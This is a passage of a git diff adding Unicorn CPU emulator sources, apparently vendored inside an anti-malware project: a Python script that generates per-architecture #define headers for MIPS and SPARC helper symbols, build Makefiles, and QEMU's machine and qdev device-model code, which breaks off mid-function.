'helper_pavgb', + 'helper_pmaxsh', + 'helper_pminsh', + 'helper_pmaxub', + 'helper_pminub', + 'helper_pcmpeqw', + 'helper_pcmpgtw', + 'helper_pcmpeqh', + 'helper_pcmpgth', + 'helper_pcmpeqb', + 'helper_pcmpgtb', + 'helper_psllw', + 'helper_psrlw', + 'helper_psraw', + 'helper_psllh', + 'helper_psrlh', + 'helper_psrah', + 'helper_pmullh', + 'helper_pmulhh', + 'helper_pmulhuh', + 'helper_pmaddhw', + 'helper_pasubub', + 'helper_biadd', + 'helper_pmovmskb', + 'helper_absq_s_ph', + 'helper_absq_s_qb', + 'helper_absq_s_w', + 'helper_addqh_ph', + 'helper_addqh_r_ph', + 'helper_addqh_r_w', + 'helper_addqh_w', + 'helper_adduh_qb', + 'helper_adduh_r_qb', + 'helper_subqh_ph', + 'helper_subqh_r_ph', + 'helper_subqh_r_w', + 'helper_subqh_w', + 'helper_addq_ph', + 'helper_addq_s_ph', + 'helper_addq_s_w', + 'helper_addu_ph', + 'helper_addu_qb', + 'helper_addu_s_ph', + 'helper_addu_s_qb', + 'helper_subq_ph', + 'helper_subq_s_ph', + 'helper_subq_s_w', + 'helper_subu_ph', + 'helper_subu_qb', + 'helper_subu_s_ph', + 'helper_subu_s_qb', + 'helper_subuh_qb', + 'helper_subuh_r_qb', + 'helper_addsc', + 'helper_addwc', + 'helper_modsub', + 'helper_raddu_w_qb', + 'helper_precr_qb_ph', + 'helper_precrq_qb_ph', + 'helper_precr_sra_ph_w', + 'helper_precr_sra_r_ph_w', + 'helper_precrq_ph_w', + 'helper_precrq_rs_ph_w', + 'helper_precrqu_s_qb_ph', + 'helper_precequ_ph_qbl', + 'helper_precequ_ph_qbr', + 'helper_precequ_ph_qbla', + 'helper_precequ_ph_qbra', + 'helper_preceu_ph_qbl', + 'helper_preceu_ph_qbr', + 'helper_preceu_ph_qbla', + 'helper_preceu_ph_qbra', + 'helper_shll_qb', + 'helper_shrl_qb', + 'helper_shra_qb', + 'helper_shra_r_qb', + 'helper_shll_ph', + 'helper_shll_s_ph', + 'helper_shll_s_w', + 'helper_shra_r_w', + 'helper_shrl_ph', + 'helper_shra_ph', + 'helper_shra_r_ph', + 'helper_muleu_s_ph_qbl', + 'helper_muleu_s_ph_qbr', + 'helper_mulq_rs_ph', + 'helper_mul_ph', + 'helper_mul_s_ph', + 'helper_mulq_s_ph', + 'helper_muleq_s_w_phl', + 'helper_muleq_s_w_phr', + 'helper_mulsaq_s_w_ph', + 'helper_mulsa_w_ph', + 'helper_dpau_h_qbl', + 'helper_dpau_h_qbr', + 'helper_dpsu_h_qbl', + 'helper_dpsu_h_qbr', + 'helper_dpa_w_ph', + 'helper_dpax_w_ph', + 'helper_dps_w_ph', + 'helper_dpsx_w_ph', + 'helper_dpaq_s_w_ph', + 'helper_dpaqx_s_w_ph', + 'helper_dpsq_s_w_ph', + 'helper_dpsqx_s_w_ph', + 'helper_dpaqx_sa_w_ph', + 'helper_dpsqx_sa_w_ph', + 'helper_dpaq_sa_l_w', + 'helper_dpsq_sa_l_w', + 'helper_maq_s_w_phl', + 'helper_maq_s_w_phr', + 'helper_maq_sa_w_phl', + 'helper_maq_sa_w_phr', + 'helper_mulq_s_w', + 'helper_mulq_rs_w', + 'helper_bitrev', + 'helper_insv', + 'helper_cmpgu_eq_qb', + 'helper_cmpgu_lt_qb', + 'helper_cmpgu_le_qb', + 'helper_cmpu_eq_qb', + 'helper_cmpu_lt_qb', + 'helper_cmpu_le_qb', + 'helper_cmp_eq_ph', + 'helper_cmp_lt_ph', + 'helper_cmp_le_ph', + 'helper_pick_qb', + 'helper_pick_ph', + 'helper_packrl_ph', + 'helper_extr_w', + 'helper_extr_r_w', + 'helper_extr_rs_w', + 'helper_extr_s_h', + 'helper_extp', + 'helper_extpdp', + 'helper_shilo', + 'helper_mthlip', + 'cpu_wrdsp', + 'helper_wrdsp', + 'cpu_rddsp', + 'helper_rddsp', + 'helper_raise_exception_err', + 'helper_clo', + 'helper_clz', + 'helper_muls', + 'helper_mulsu', + 'helper_macc', + 'helper_macchi', + 'helper_maccu', + 'helper_macchiu', + 'helper_msac', + 'helper_msachi', + 'helper_msacu', + 'helper_msachiu', + 'helper_mulhi', + 'helper_mulhiu', + 'helper_mulshi', + 'helper_mulshiu', + 'helper_bitswap', + 'helper_ll', + 'helper_sc', + 'helper_swl', + 'helper_swr', + 'helper_lwm', + 'helper_swm', + 'helper_mfc0_mvpcontrol', + 'helper_mfc0_mvpconf0', + 'helper_mfc0_mvpconf1', + 'helper_mfc0_random', + 'helper_mfc0_tcstatus', + 'helper_mftc0_tcstatus', + 'helper_mfc0_tcbind', + 'helper_mftc0_tcbind', + 'helper_mfc0_tcrestart', + 'helper_mftc0_tcrestart', + 'helper_mfc0_tchalt', + 'helper_mftc0_tchalt', + 'helper_mfc0_tccontext', + 'helper_mftc0_tccontext', + 'helper_mfc0_tcschedule', + 'helper_mftc0_tcschedule', + 'helper_mfc0_tcschefback', + 'helper_mftc0_tcschefback', + 'helper_mfc0_count', + 'helper_mftc0_entryhi', + 'helper_mftc0_cause', + 'helper_mftc0_status', + 'helper_mfc0_lladdr', + 'helper_mfc0_watchlo', + 'helper_mfc0_watchhi', + 'helper_mfc0_debug', + 'helper_mftc0_debug', + 'helper_mtc0_index', + 'helper_mtc0_mvpcontrol', + 'helper_mtc0_vpecontrol', + 'helper_mttc0_vpecontrol', + 'helper_mftc0_vpecontrol', + 'helper_mftc0_vpeconf0', + 'helper_mtc0_vpeconf0', + 'helper_mttc0_vpeconf0', + 'helper_mtc0_vpeconf1', + 'helper_mtc0_yqmask', + 'helper_mtc0_vpeopt', + 'helper_mtc0_entrylo0', + 'helper_mtc0_tcstatus', + 'helper_mttc0_tcstatus', + 'helper_mtc0_tcbind', + 'helper_mttc0_tcbind', + 'helper_mtc0_tcrestart', + 'helper_mttc0_tcrestart', + 'helper_mtc0_tchalt', + 'helper_mttc0_tchalt', + 'helper_mtc0_tccontext', + 'helper_mttc0_tccontext', + 'helper_mtc0_tcschedule', + 'helper_mttc0_tcschedule', + 'helper_mtc0_tcschefback', + 'helper_mttc0_tcschefback', + 'helper_mtc0_entrylo1', + 'helper_mtc0_context', + 'helper_mtc0_pagemask', + 'helper_mtc0_pagegrain', + 'helper_mtc0_wired', + 'helper_mtc0_srsconf0', + 'helper_mtc0_srsconf1', + 'helper_mtc0_srsconf2', + 'helper_mtc0_srsconf3', + 'helper_mtc0_srsconf4', + 'helper_mtc0_hwrena', + 'helper_mtc0_count', + 'helper_mtc0_entryhi', + 'helper_mttc0_entryhi', + 'helper_mtc0_compare', + 'helper_mtc0_status', + 'helper_mttc0_status', + 'helper_mtc0_intctl', + 'helper_mtc0_srsctl', + 'helper_mtc0_cause', + 'helper_mttc0_cause', + 'helper_mftc0_epc', + 'helper_mftc0_ebase', + 'helper_mtc0_ebase', + 'helper_mttc0_ebase', + 'helper_mftc0_configx', + 'helper_mtc0_config0', + 'helper_mtc0_config2', + 'helper_mtc0_config4', + 'helper_mtc0_config5', + 'helper_mtc0_lladdr', + 'helper_mtc0_watchlo', + 'helper_mtc0_watchhi', + 'helper_mtc0_xcontext', + 'helper_mtc0_framemask', + 'helper_mtc0_debug', + 'helper_mttc0_debug', + 'helper_mtc0_performance0', + 'helper_mtc0_taglo', + 'helper_mtc0_datalo', + 'helper_mtc0_taghi', + 'helper_mtc0_datahi', + 'helper_mftgpr', + 'helper_mftlo', + 'helper_mfthi', + 'helper_mftacx', + 'helper_mftdsp', + 'helper_mttgpr', + 'helper_mttlo', + 'helper_mtthi', + 'helper_mttacx', + 'helper_mttdsp', + 'helper_dmt', + 'helper_emt', + 'helper_dvpe', + 'helper_evpe', + 'helper_fork', + 'helper_yield', + 'r4k_helper_tlbinv', + 'r4k_helper_tlbinvf', + 'r4k_helper_tlbwi', + 'r4k_helper_tlbwr', + 'r4k_helper_tlbp', + 'r4k_helper_tlbr', + 'helper_tlbwi', + 'helper_tlbwr', + 'helper_tlbp', + 'helper_tlbr', + 'helper_tlbinv', + 'helper_tlbinvf', + 'helper_di', + 'helper_ei', + 'helper_eret', + 'helper_deret', + 'helper_rdhwr_cpunum', + 'helper_rdhwr_synci_step', + 'helper_rdhwr_cc', + 'helper_rdhwr_ccres', + 'helper_pmon', + 'helper_wait', + 'mips_cpu_do_unaligned_access', + 'mips_cpu_unassigned_access', + 'ieee_rm', + 'helper_cfc1', + 'helper_ctc1', + 'ieee_ex_to_mips', + 'helper_float_sqrt_d', + 'helper_float_sqrt_s', + 'helper_float_cvtd_s', + 'helper_float_cvtd_w', + 'helper_float_cvtd_l', + 'helper_float_cvtl_d', + 'helper_float_cvtl_s', + 'helper_float_cvtps_pw', + 'helper_float_cvtpw_ps', + 'helper_float_cvts_d', + 'helper_float_cvts_w', + 'helper_float_cvts_l', + 'helper_float_cvts_pl', + 'helper_float_cvts_pu', + 'helper_float_cvtw_s', + 'helper_float_cvtw_d', + 'helper_float_roundl_d', + 'helper_float_roundl_s', + 'helper_float_roundw_d', + 'helper_float_roundw_s', + 'helper_float_truncl_d', + 'helper_float_truncl_s', + 'helper_float_truncw_d', + 'helper_float_truncw_s', + 'helper_float_ceill_d', + 'helper_float_ceill_s', + 'helper_float_ceilw_d', + 'helper_float_ceilw_s', + 'helper_float_floorl_d', + 'helper_float_floorl_s', + 'helper_float_floorw_d', + 'helper_float_floorw_s', + 'helper_float_abs_d', + 'helper_float_abs_s', + 'helper_float_abs_ps', + 'helper_float_chs_d', + 'helper_float_chs_s', + 'helper_float_chs_ps', + 'helper_float_maddf_s', + 'helper_float_maddf_d', + 'helper_float_msubf_s', + 'helper_float_msubf_d', + 'helper_float_max_s', + 'helper_float_max_d', + 'helper_float_maxa_s', + 'helper_float_maxa_d', + 'helper_float_min_s', + 'helper_float_min_d', + 'helper_float_mina_s', + 'helper_float_mina_d', + 'helper_float_rint_s', + 'helper_float_rint_d', + 'helper_float_class_s', + 'helper_float_class_d', + 'helper_float_recip_d', + 'helper_float_recip_s', + 'helper_float_rsqrt_d', + 'helper_float_rsqrt_s', + 'helper_float_recip1_d', + 'helper_float_recip1_s', + 'helper_float_recip1_ps', + 'helper_float_rsqrt1_d', + 'helper_float_rsqrt1_s', + 'helper_float_rsqrt1_ps', + 'helper_float_add_d', + 'helper_float_add_s', + 'helper_float_add_ps', + 'helper_float_sub_d', + 'helper_float_sub_s', + 'helper_float_sub_ps', + 'helper_float_mul_d', + 'helper_float_mul_s', + 'helper_float_mul_ps', + 'helper_float_div_d', + 'helper_float_div_s', + 'helper_float_div_ps', + 'helper_float_madd_d', + 'helper_float_madd_s', + 'helper_float_madd_ps', + 'helper_float_msub_d', + 'helper_float_msub_s', + 'helper_float_msub_ps', + 'helper_float_nmadd_d', + 'helper_float_nmadd_s', + 'helper_float_nmadd_ps', + 'helper_float_nmsub_d', + 'helper_float_nmsub_s', + 'helper_float_nmsub_ps', + 'helper_float_recip2_d', + 'helper_float_recip2_s', + 'helper_float_recip2_ps', + 'helper_float_rsqrt2_d', + 'helper_float_rsqrt2_s', + 'helper_float_rsqrt2_ps', + 'helper_float_addr_ps', + 'helper_float_mulr_ps', + 'helper_cmp_d_f', + 'helper_cmpabs_d_f', + 'helper_cmp_d_un', + 'helper_cmpabs_d_un', + 'helper_cmp_d_eq', + 'helper_cmpabs_d_eq', + 'helper_cmp_d_ueq', + 'helper_cmpabs_d_ueq', + 'helper_cmp_d_olt', + 'helper_cmpabs_d_olt', + 'helper_cmp_d_ult', + 'helper_cmpabs_d_ult', + 'helper_cmp_d_ole', + 'helper_cmpabs_d_ole', + 'helper_cmp_d_ule', + 'helper_cmpabs_d_ule', + 'helper_cmp_d_sf', + 'helper_cmpabs_d_sf', + 'helper_cmp_d_ngle', + 'helper_cmpabs_d_ngle', + 'helper_cmp_d_seq', + 'helper_cmpabs_d_seq', + 'helper_cmp_d_ngl', + 'helper_cmpabs_d_ngl', + 'helper_cmp_d_lt', + 'helper_cmpabs_d_lt', + 'helper_cmp_d_nge', + 'helper_cmpabs_d_nge', + 'helper_cmp_d_le', + 'helper_cmpabs_d_le', + 'helper_cmp_d_ngt', + 'helper_cmpabs_d_ngt', + 'helper_cmp_s_f', + 'helper_cmpabs_s_f', + 'helper_cmp_s_un', + 'helper_cmpabs_s_un', + 'helper_cmp_s_eq', + 'helper_cmpabs_s_eq', + 'helper_cmp_s_ueq', + 'helper_cmpabs_s_ueq', + 'helper_cmp_s_olt', + 'helper_cmpabs_s_olt', + 'helper_cmp_s_ult', + 'helper_cmpabs_s_ult', + 'helper_cmp_s_ole', + 'helper_cmpabs_s_ole', + 'helper_cmp_s_ule', + 'helper_cmpabs_s_ule', + 'helper_cmp_s_sf', + 'helper_cmpabs_s_sf', + 'helper_cmp_s_ngle', + 'helper_cmpabs_s_ngle', + 'helper_cmp_s_seq', + 'helper_cmpabs_s_seq', + 'helper_cmp_s_ngl', + 'helper_cmpabs_s_ngl', + 'helper_cmp_s_lt', + 'helper_cmpabs_s_lt', + 'helper_cmp_s_nge', + 'helper_cmpabs_s_nge', + 'helper_cmp_s_le', + 'helper_cmpabs_s_le', + 'helper_cmp_s_ngt', + 'helper_cmpabs_s_ngt', + 'helper_cmp_ps_f', + 'helper_cmpabs_ps_f', + 'helper_cmp_ps_un', + 'helper_cmpabs_ps_un', + 'helper_cmp_ps_eq', + 'helper_cmpabs_ps_eq', + 'helper_cmp_ps_ueq', + 'helper_cmpabs_ps_ueq', + 'helper_cmp_ps_olt', + 'helper_cmpabs_ps_olt', + 'helper_cmp_ps_ult', + 'helper_cmpabs_ps_ult', + 'helper_cmp_ps_ole', + 'helper_cmpabs_ps_ole', + 'helper_cmp_ps_ule', + 'helper_cmpabs_ps_ule', + 'helper_cmp_ps_sf', + 'helper_cmpabs_ps_sf', + 'helper_cmp_ps_ngle', + 'helper_cmpabs_ps_ngle', + 'helper_cmp_ps_seq', + 'helper_cmpabs_ps_seq', + 'helper_cmp_ps_ngl', + 'helper_cmpabs_ps_ngl', + 'helper_cmp_ps_lt', + 'helper_cmpabs_ps_lt', + 'helper_cmp_ps_nge', + 'helper_cmpabs_ps_nge', + 'helper_cmp_ps_le', + 'helper_cmpabs_ps_le', + 'helper_cmp_ps_ngt', + 'helper_cmpabs_ps_ngt', + 'helper_r6_cmp_d_af', + 'helper_r6_cmp_d_un', + 'helper_r6_cmp_d_eq', + 'helper_r6_cmp_d_ueq', + 'helper_r6_cmp_d_lt', + 'helper_r6_cmp_d_ult', + 'helper_r6_cmp_d_le', + 'helper_r6_cmp_d_ule', + 'helper_r6_cmp_d_saf', + 'helper_r6_cmp_d_sun', + 'helper_r6_cmp_d_seq', + 'helper_r6_cmp_d_sueq', + 'helper_r6_cmp_d_slt', + 'helper_r6_cmp_d_sult', + 'helper_r6_cmp_d_sle', + 'helper_r6_cmp_d_sule', + 'helper_r6_cmp_d_or', + 'helper_r6_cmp_d_une', + 'helper_r6_cmp_d_ne', + 'helper_r6_cmp_d_sor', + 'helper_r6_cmp_d_sune', + 'helper_r6_cmp_d_sne', + 'helper_r6_cmp_s_af', + 'helper_r6_cmp_s_un', + 'helper_r6_cmp_s_eq', + 'helper_r6_cmp_s_ueq', + 'helper_r6_cmp_s_lt', + 'helper_r6_cmp_s_ult', + 'helper_r6_cmp_s_le', + 'helper_r6_cmp_s_ule', + 'helper_r6_cmp_s_saf', + 'helper_r6_cmp_s_sun', + 'helper_r6_cmp_s_seq', + 'helper_r6_cmp_s_sueq', + 'helper_r6_cmp_s_slt', + 'helper_r6_cmp_s_sult', + 'helper_r6_cmp_s_sle', + 'helper_r6_cmp_s_sule', + 'helper_r6_cmp_s_or', + 'helper_r6_cmp_s_une', + 'helper_r6_cmp_s_ne', + 'helper_r6_cmp_s_sor', + 'helper_r6_cmp_s_sune', + 'helper_r6_cmp_s_sne', + 'helper_msa_ld_df', + 'helper_msa_st_df', + 'no_mmu_map_address', + 'fixed_mmu_map_address', + 'r4k_map_address', + 'mips_cpu_get_phys_page_debug', + 'mips_cpu_handle_mmu_fault', + 'cpu_mips_translate_address', + 'exception_resume_pc', + 'mips_cpu_do_interrupt', + 'mips_cpu_exec_interrupt', + 'r4k_invalidate_tlb', + 'helper_absq_s_ob', + 'helper_absq_s_qh', + 'helper_absq_s_pw', + 'helper_adduh_ob', + 'helper_adduh_r_ob', + 'helper_subuh_ob', + 'helper_subuh_r_ob', + 'helper_addq_pw', + 'helper_addq_qh', + 'helper_addq_s_pw', + 'helper_addq_s_qh', + 'helper_addu_ob', + 'helper_addu_qh', + 'helper_addu_s_ob', + 'helper_addu_s_qh', + 'helper_subq_pw', + 'helper_subq_qh', + 'helper_subq_s_pw', + 'helper_subq_s_qh', + 'helper_subu_ob', + 'helper_subu_qh', + 'helper_subu_s_ob', + 'helper_subu_s_qh', + 'helper_raddu_l_ob', + 'helper_precr_ob_qh', + 'helper_precr_sra_qh_pw', + 'helper_precr_sra_r_qh_pw', + 'helper_precrq_ob_qh', + 'helper_precrq_qh_pw', + 'helper_precrq_rs_qh_pw', + 'helper_precrq_pw_l', + 'helper_precrqu_s_ob_qh', + 'helper_preceq_pw_qhl', + 'helper_preceq_pw_qhr', + 'helper_preceq_pw_qhla', + 'helper_preceq_pw_qhra', + 'helper_precequ_qh_obl', + 'helper_precequ_qh_obr', + 'helper_precequ_qh_obla', + 'helper_precequ_qh_obra', + 'helper_preceu_qh_obl', + 'helper_preceu_qh_obr', + 'helper_preceu_qh_obla', + 'helper_preceu_qh_obra', + 'helper_shll_ob', + 'helper_shrl_ob', + 'helper_shra_ob', + 'helper_shra_r_ob', + 'helper_shll_qh', + 'helper_shll_s_qh', + 'helper_shrl_qh', + 'helper_shra_qh', + 'helper_shra_r_qh', + 'helper_shll_pw', + 'helper_shll_s_pw', + 'helper_shra_pw', + 'helper_shra_r_pw', + 'helper_muleu_s_qh_obl', + 'helper_muleu_s_qh_obr', + 'helper_mulq_rs_qh', + 'helper_muleq_s_pw_qhl', + 'helper_muleq_s_pw_qhr', + 'helper_mulsaq_s_w_qh', + 'helper_dpau_h_obl', + 'helper_dpau_h_obr', + 'helper_dpsu_h_obl', + 'helper_dpsu_h_obr', + 'helper_dpa_w_qh', + 'helper_dpaq_s_w_qh', + 'helper_dps_w_qh', + 'helper_dpsq_s_w_qh', + 'helper_dpaq_sa_l_pw', + 'helper_dpsq_sa_l_pw', + 'helper_mulsaq_s_l_pw', + 'helper_maq_s_w_qhll', + 'helper_maq_s_w_qhlr', + 'helper_maq_s_w_qhrl', + 'helper_maq_s_w_qhrr', + 'helper_maq_sa_w_qhll', + 'helper_maq_sa_w_qhlr', + 'helper_maq_sa_w_qhrl', + 'helper_maq_sa_w_qhrr', + 'helper_maq_s_l_pwl', + 'helper_maq_s_l_pwr', + 'helper_dmadd', + 'helper_dmaddu', + 'helper_dmsub', + 'helper_dmsubu', + 'helper_dinsv', + 'helper_cmpgu_eq_ob', + 'helper_cmpgu_lt_ob', + 'helper_cmpgu_le_ob', + 'helper_cmpu_eq_ob', + 'helper_cmpu_lt_ob', + 'helper_cmpu_le_ob', + 'helper_cmp_eq_qh', + 'helper_cmp_lt_qh', + 'helper_cmp_le_qh', + 'helper_cmp_eq_pw', + 'helper_cmp_lt_pw', + 'helper_cmp_le_pw', + 'helper_cmpgdu_eq_ob', + 'helper_cmpgdu_lt_ob', + 'helper_cmpgdu_le_ob', + 'helper_pick_ob', + 'helper_pick_qh', + 'helper_pick_pw', + 'helper_packrl_pw', + 'helper_dextr_w', + 'helper_dextr_r_w', + 'helper_dextr_rs_w', + 'helper_dextr_l', + 'helper_dextr_r_l', + 'helper_dextr_rs_l', + 'helper_dextr_s_h', + 'helper_dextp', + 'helper_dextpdp', + 'helper_dshilo', + 'helper_dmthlip', + 'helper_dclo', + 'helper_dclz', + 'helper_dbitswap', + 'helper_lld', + 'helper_scd', + 'helper_sdl', + 'helper_sdr', + 'helper_ldm', + 'helper_sdm', + 'helper_dmfc0_tcrestart', + 'helper_dmfc0_tchalt', + 'helper_dmfc0_tccontext', + 'helper_dmfc0_tcschedule', + 'helper_dmfc0_tcschefback', + 'helper_dmfc0_lladdr', + 'helper_dmfc0_watchlo', + 'helper_dmtc0_entrylo0', + 'helper_dmtc0_entrylo1', + 'mips_reg_reset', + 'mips_reg_read', + 'mips_reg_write', + 'mips_tcg_init', + 'mips_cpu_list', + 'mips_release', + 'MIPS64_REGS_STORAGE_SIZE', + 'MIPS_REGS_STORAGE_SIZE' +) + +sparc_symbols = ( + 'cpu_sparc_exec', + 'helper_compute_psr', + 'helper_compute_C_icc', + 'cpu_sparc_init', + 'cpu_sparc_set_id', + 'sparc_cpu_register_types', + 'helper_fadds', + 'helper_faddd', + 'helper_faddq', + 'helper_fsubs', + 'helper_fsubd', + 'helper_fsubq', + 'helper_fmuls', + 'helper_fmuld', + 'helper_fmulq', + 'helper_fdivs', + 'helper_fdivd', + 'helper_fdivq', + 'helper_fsmuld', + 'helper_fdmulq', + 'helper_fnegs', + 'helper_fitos', + 'helper_fitod', + 'helper_fitoq', + 'helper_fdtos', + 'helper_fstod', + 'helper_fqtos', + 'helper_fstoq', + 'helper_fqtod', + 'helper_fdtoq', + 'helper_fstoi', + 'helper_fdtoi', + 'helper_fqtoi', + 'helper_fabss', + 'helper_fsqrts', + 'helper_fsqrtd', + 'helper_fsqrtq', + 'helper_fcmps', + 'helper_fcmpd', + 'helper_fcmpes', + 'helper_fcmped', + 'helper_fcmpq', + 'helper_fcmpeq', + 'helper_ldfsr', + 'helper_debug', + 'helper_udiv_cc', + 'helper_sdiv_cc', + 'helper_taddcctv', + 'helper_tsubcctv', + 'sparc_cpu_do_interrupt', + 'helper_check_align', + 'helper_ld_asi', + 'helper_st_asi', + 'helper_cas_asi', + 'helper_ldqf', + 'helper_stqf', + 'sparc_cpu_unassigned_access', + 'sparc_cpu_do_unaligned_access', + 'sparc_cpu_handle_mmu_fault', + 'dump_mmu', + 'sparc_cpu_get_phys_page_debug', + 'sparc_reg_reset', + 'sparc_reg_read', + 'sparc_reg_write', + 'gen_intermediate_code_init', + 'cpu_set_cwp', + 'cpu_get_psr', + 'cpu_put_psr', + 'cpu_cwp_inc', + 'cpu_cwp_dec', + 'helper_save', + 'helper_restore') + + +if __name__ == '__main__': + arch = sys.argv[1] + + print("/* Autogen header for Unicorn Engine - DONOT MODIFY */") + print("#ifndef UNICORN_AUTOGEN_%s_H" %arch.upper()) + print("#define UNICORN_AUTOGEN_%s_H" %arch.upper()) + + for s in symbols: + print("#define %s %s_%s" %(s, s, arch)) + + if 'arm' in arch: + for s in arm_symbols: + print("#define %s %s_%s" %(s, s, arch)) + + if 'aarch64' in arch: + for s in aarch64_symbols: + print("#define %s %s_%s" %(s, s, arch)) + + if 'mips' in arch: + for s in mips_symbols: + print("#define %s %s_%s" %(s, s, arch)) + + if 'sparc' in arch: + for s in sparc_symbols: + print("#define %s %s_%s" %(s, s, arch)) + + print("#endif") + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/Makefile.objs new file mode 100644 index 0000000..08a0be1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/Makefile.objs @@ -0,0 +1,4 @@ +devices-dirs-$(CONFIG_SOFTMMU) += intc/ +devices-dirs-y += core/ +common-obj-y += $(devices-dirs-y) +obj-y += $(devices-dirs-y) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/Makefile.objs new file mode 100644 index 0000000..9d40223 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/Makefile.objs @@ -0,0 +1,3 @@ +# core qdev-related obj files, also used by *-user: +common-obj-y += qdev.o +common-obj-$(CONFIG_SOFTMMU) += machine.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/machine.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/machine.c new file mode 100644 index 0000000..fa36062 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/machine.c @@ -0,0 +1,47 @@ +/* + * QEMU Machine + * + * Copyright (C) 2014 Red Hat Inc + * + * Authors: + * Marcel Apfelbaum <marcel.a@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "hw/boards.h" + +static void machine_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static void machine_finalize(struct uc_struct *uc, Object *obj, void *opaque) +{ +} + +static const TypeInfo machine_info = { + TYPE_MACHINE, + TYPE_OBJECT, + + sizeof(MachineClass), + sizeof(MachineState), + NULL, + + machine_initfn, + NULL, + machine_finalize, + + NULL, + + NULL, + NULL, + NULL, + + true, +}; + +void machine_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &machine_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/qdev.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/qdev.c new file mode 100644 index 0000000..8b98f2a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/core/qdev.c @@ -0,0 +1,344 @@ +/* + * Dynamic device configuration and creation. + * + * Copyright (c) 2009 CodeSourcery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ + +/* The theory here is that it should be possible to create a machine without + knowledge of specific devices. Historically board init routines have + passed a bunch of arguments to each device, requiring the board know + exactly which device it is dealing with. This file provides an abstract + API for device configuration and initialization. Devices will generally + inherit from a particular bus (e.g. PCI or I2C) rather than + this API directly. */ + +#include "hw/qdev.h" +#include "qapi/error.h" +#include "qapi/qmp/qerror.h" + + +static void bus_add_child(BusState *bus, DeviceState *child) +{ + char name[32]; + BusChild *kid = g_malloc0(sizeof(*kid)); + + kid->index = bus->max_index++; + kid->child = child; + object_ref(OBJECT(kid->child)); + + QTAILQ_INSERT_HEAD(&bus->children, kid, sibling); + + /* This transfers ownership of kid->child to the property. */ + snprintf(name, sizeof(name), "child[%d]", kid->index); + object_property_add_link(OBJECT(bus), name, + object_get_typename(OBJECT(child)), + (Object **)&kid->child, + NULL, /* read-only property */ + 0, /* return ownership on prop deletion */ + NULL); +} + +void qdev_set_parent_bus(DeviceState *dev, BusState *bus) +{ + dev->parent_bus = bus; + object_ref(OBJECT(bus)); + bus_add_child(bus, dev); +} + +/* Create a new device. This only initializes the device state structure + and allows properties to be set. qdev_init should be called to + initialize the actual device emulation. */ +DeviceState *qdev_create(BusState *bus, const char *name) +{ + DeviceState *dev; + + dev = qdev_try_create(bus, name); + if (!dev) { + abort(); + } + + return dev; +} + +DeviceState *qdev_try_create(BusState *bus, const char *type) +{ +#if 0 + DeviceState *dev; + + if (object_class_by_name(NULL, type) == NULL) { // no need to fix. aq + return NULL; + } + dev = DEVICE(object_new(NULL, type)); // no need to fix. aq + if (!dev) { + return NULL; + } + + if (!bus) { + bus = sysbus_get_default(); + } + + qdev_set_parent_bus(dev, bus); + object_unref(OBJECT(dev)); + return dev; +#endif + return NULL; +} + +/* Initialize a device. Device properties should be set before calling + this function. IRQs and MMIO regions should be connected/mapped after + calling this function. + On failure, destroy the device and return negative value. + Return 0 on success. */ +int qdev_init(DeviceState *dev) +{ + return 0; +} + +BusState *qdev_get_parent_bus(DeviceState *dev) +{ + return dev->parent_bus; +} + +static void qbus_realize(BusState *bus, DeviceState *parent, const char *name) +{ +} + +static void bus_unparent(struct uc_struct *uc, Object *obj) +{ + BusState *bus = BUS(uc, obj); + BusChild *kid; + + while ((kid = QTAILQ_FIRST(&bus->children)) != NULL) { + DeviceState *dev = kid->child; + object_unparent(uc, OBJECT(dev)); + } + if (bus->parent) { + QLIST_REMOVE(bus, sibling); + bus->parent->num_child_bus--; + bus->parent = NULL; + } +} + +void qbus_create_inplace(void *bus, size_t size, const char *typename, + DeviceState *parent, const char *name) +{ + object_initialize(NULL, bus, size, typename); // unused, so no need to fix. aq + qbus_realize(bus, parent, name); +} + +BusState *qbus_create(const char *typename, DeviceState *parent, const char *name) +{ + BusState *bus; + + bus = BUS(NULL, object_new(NULL, typename)); // no need to fix. aq + qbus_realize(bus, parent, name); + + return bus; +} + +static bool device_get_realized(struct uc_struct *uc, Object *obj, Error **errp) +{ + DeviceState *dev = DEVICE(uc, obj); + return dev->realized; +} + +static int device_set_realized(struct uc_struct *uc, Object *obj, bool value, Error **errp) +{ + DeviceState *dev = DEVICE(uc, obj); + DeviceClass *dc = DEVICE_GET_CLASS(uc, dev); + BusState *bus; + Error *local_err = NULL; + + if (dev->hotplugged && !dc->hotpluggable) { + error_set(errp, QERR_DEVICE_NO_HOTPLUG, object_get_typename(obj)); + return -1; + } + + if (value && !dev->realized) { +#if 0 + if (!obj->parent) { + static int unattached_count; + gchar *name = g_strdup_printf("device[%d]", unattached_count++); + + object_property_add_child(container_get(qdev_get_machine(), + "/unattached"), + name, obj, &error_abort); + g_free(name); + } +#endif + + if (dc->realize) { + if (dc->realize(uc, dev, &local_err)) + return -1; + } + + if (local_err != NULL) { + goto fail; + } + + if (local_err != NULL) { + goto post_realize_fail; + } + + QLIST_FOREACH(bus, &dev->child_bus, sibling) { + object_property_set_bool(uc, OBJECT(bus), true, "realized", + &local_err); + if 